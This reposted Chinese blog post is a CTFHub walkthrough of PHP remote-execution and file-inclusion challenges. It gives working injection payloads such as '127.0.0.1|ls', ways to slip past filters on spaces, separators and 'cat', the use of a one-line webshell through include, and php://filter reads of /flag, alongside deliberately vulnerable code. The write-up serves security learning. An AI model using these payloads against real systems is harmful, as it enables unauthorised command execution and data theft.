RCE知識點:
- 1. rce分為遠程執行ping,和遠程代碼執行evel,
漏洞出現原因:未在輸入口做輸入處理,
涉及到ping命令:ping是windows,linux系統下的一個命令,ping也屬于一個通信協議,是TCP/IP協議的一部分,利用ping命令可以檢查網路是否連通,可以很好的幫助我們分析和判定網路故障,
- 2.PHP 執行系統外部命令 system() exec() passthru()
PHP作為一種服務器端的腳本語言,象撰寫簡單,或者是復雜的動態網頁這樣的任務,它完全能夠勝任,但事情不總是如此,有時為了實作某個功能,必須借助于作業系統的外部程式(或者稱之為命令),這樣可以做到事半功倍,
區別:
system() 輸出并回傳最后一行shell結果,
exec() 不輸出結果,回傳最后一行shell結果,所有結果可以保存到一個回傳的陣列里面,
passthru() 只呼叫命令,把命令的運行結果原樣地直接輸出到標準輸出設備上,
相同點:都可以獲得命令執行的狀態碼
- .LINUX系統的管道符:
1," ; ": 執行完前面的陳述句在執行后面的陳述句,
2.“ | “: 顯示后面的陳述句的執行結果,
3.” || “:當前的陳述句執行出錯時,執行后面的陳述句,
4.” & “:兩條命令都執行,如果前面陳述句為假則執行后面的陳述句,前面的陳述句可真可假,
5.” && “:如果前面的陳述句為假則直接出錯,也不執行后面的陳述句,前面的陳述句為真則執行兩條命令,前面的陳述句只能為真,
還有一些管道符:
- windows系統是:
- " | " :是直接后面的執行陳述句
- “ || ” :如果前面的陳述句執行失敗,則執行后面的陳述句,前面的陳述句只能為假才能執行,
- " & "兩條命令都執行,如果前面的陳述句為假則直接執行后面的陳述句,前面的陳述句可真可假,
- " && ":如果前面的陳述句為假則直接出錯,也不執行后面的陳述句,前面的陳述句為真則兩條命令都執行,前面的陳述句只能為真,
1.eval()執行
它的作用是把對應的字串決議成js代碼并運行(將json的字串決議成為JSON物件)(詳細)
打開題目看到代碼:
<?php
if (isset($_REQUEST['cmd'])) {
eval($_REQUEST["cmd"]);
} else {
highlight_file(__FILE__);
}
?>
- system()函式的作用為執行系統命令并輸出執行結果
- ls是列舉目錄
- cat就是打開檔案的意思
php中$_REQUEST可以獲取以POST方法和GET方法提交的資料,cmd是引數,我們用get的方式進行傳值,?cmd=system(“ls”);,最后一定要加分號,這樣才符合PHP的寫法;
查找上一級:
看到了flag檔案,用cat打開

這樣就可以拿到flag了
2.命令注入:
先看代碼:
<?php
$res = FALSE;
if (isset($_GET['ip']) && $_GET['ip']) {
$cmd = "ping -c 4 {$_GET['ip']}";
exec($cmd, $res);
}
?>
<!DOCTYPE html>
<html>
<head>
<title>CTFHub 命令注入-無過濾</title>
</head>
<body>
<h1>CTFHub 命令注入-無過濾</h1>
<form action="#" method="GET">
<label for="ip">IP : </label><br>
<input type="text" id="ip" name="ip">
<input type="submit" value="Ping">
</form>
<hr>
<pre>
<?php
if ($res) {
print_r($res);
}
?>
</pre>
<?php
show_source(__FILE__);
?>
</body>
</html>
這是一個ping命令,我們先ping本地試試:
然后我們使用管道符:127.0.0.1|ls

然后去查找上一級檔案:127.0.0.1|ls /
然后打開檔案 27510189983556.php:127.0.0.1| cat 27510189983556.php
拿到flag
3.其次就是一系列的過濾:

- 過濾空格 空格可以替換
<,<>, ${IFS}, $IFS,%20(space), %09(tab), $IFS$9, - 過濾目錄分隔符,就是將 /過濾了
還是先ping一下
127.0.0.1
回傳正常資料,使用管道符查看當前的位置檔案有哪些
127.0.0.1|ls
回顯是一個flag_is_here
使用;cd flag_is_here&&ls
回顯了一個php檔案
;cd flag_is_here&&cat flag_24324515113881.php
查看即可,查看原始碼
- 過濾cat:
1.已知過濾了cat,所以就要搞事情了,有一種方法就是,ca\t,就是通過反斜杠,還是可以繼續執行cat的功能,
2.也可以tac ,是反讀取檔案資訊
- 過濾很多運算子
過濾了|,&,;, ,/,cat,flag,ctfhub
空格可以用${IFS}
cat可以用more
flag可以用正則f***
ctfhub應該用不到
查了一下,在linux下,命令分隔符除了;還有%0a
有了;就可以不用運算子了
然后按著之前的思路去做就可以了
4.檔案包含

先看代碼:
<?php
error_reporting(0);
if (isset($_GET['file'])) {
if (!strpos($_GET["file"], "flag")) {//strpos()查找一個字串在另一個字串中出現的位置
include $_GET["file"];
} else {
echo "Hacker!!!";
}
} else {
highlight_file(__FILE__);
}
?>
<hr>
i have a <a href="shell.txt">shell</a>, how to use it ?
打開shell.txt發現是含有一句話的木馬,用include包含此檔案
http://challenge-43486bf73166ed6f.sandbox.ctfhub.com:10800/?file=shell.txt
我們用蟻劍成功連接,密碼為:ctfhub

然后執行命令cat /flag :

5.php偽協議(詳細參考文章)
先看代碼
<?php
if (isset($_GET['file'])) {
if ( substr($_GET["file"], 0, 6) === "php://" ) {
include($_GET["file"]);
} else {
echo "Hacker!!!";
}
} else {
highlight_file(__FILE__);
}
?>
<hr>
i don't have shell, how to get flag? <br>
<a href="phpinfo.php">phpinfo</a>
file引數前六個只能是php://,只能用php偽協議,我們抓個包并使用PHP偽協議:

然后得到respnse:

然后我們進行同樣的步驟,將ls改為cat flag檔案即可拿到flag
6.php偽協議讀取源代碼:
php://filter 讀取源代碼并進行base64編碼輸出,不然會直接當做php代碼執行就看不到源代碼內容了,
構造playlodshttp://challenge-640f4eefc4df2119.sandbox.ctfhub.com:10080/?file=php://filter/read=convert.base64-encode/resource=/flag

用在線工具進行解碼即可
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/300969.html
標籤:其他
上一篇:計算機網路(2)_物理層
下一篇:漏掃(漏洞掃描)工具Burpsuite或者Burp Suite的使用(附Burpsuite+1.7.26的安裝與安裝包下載)
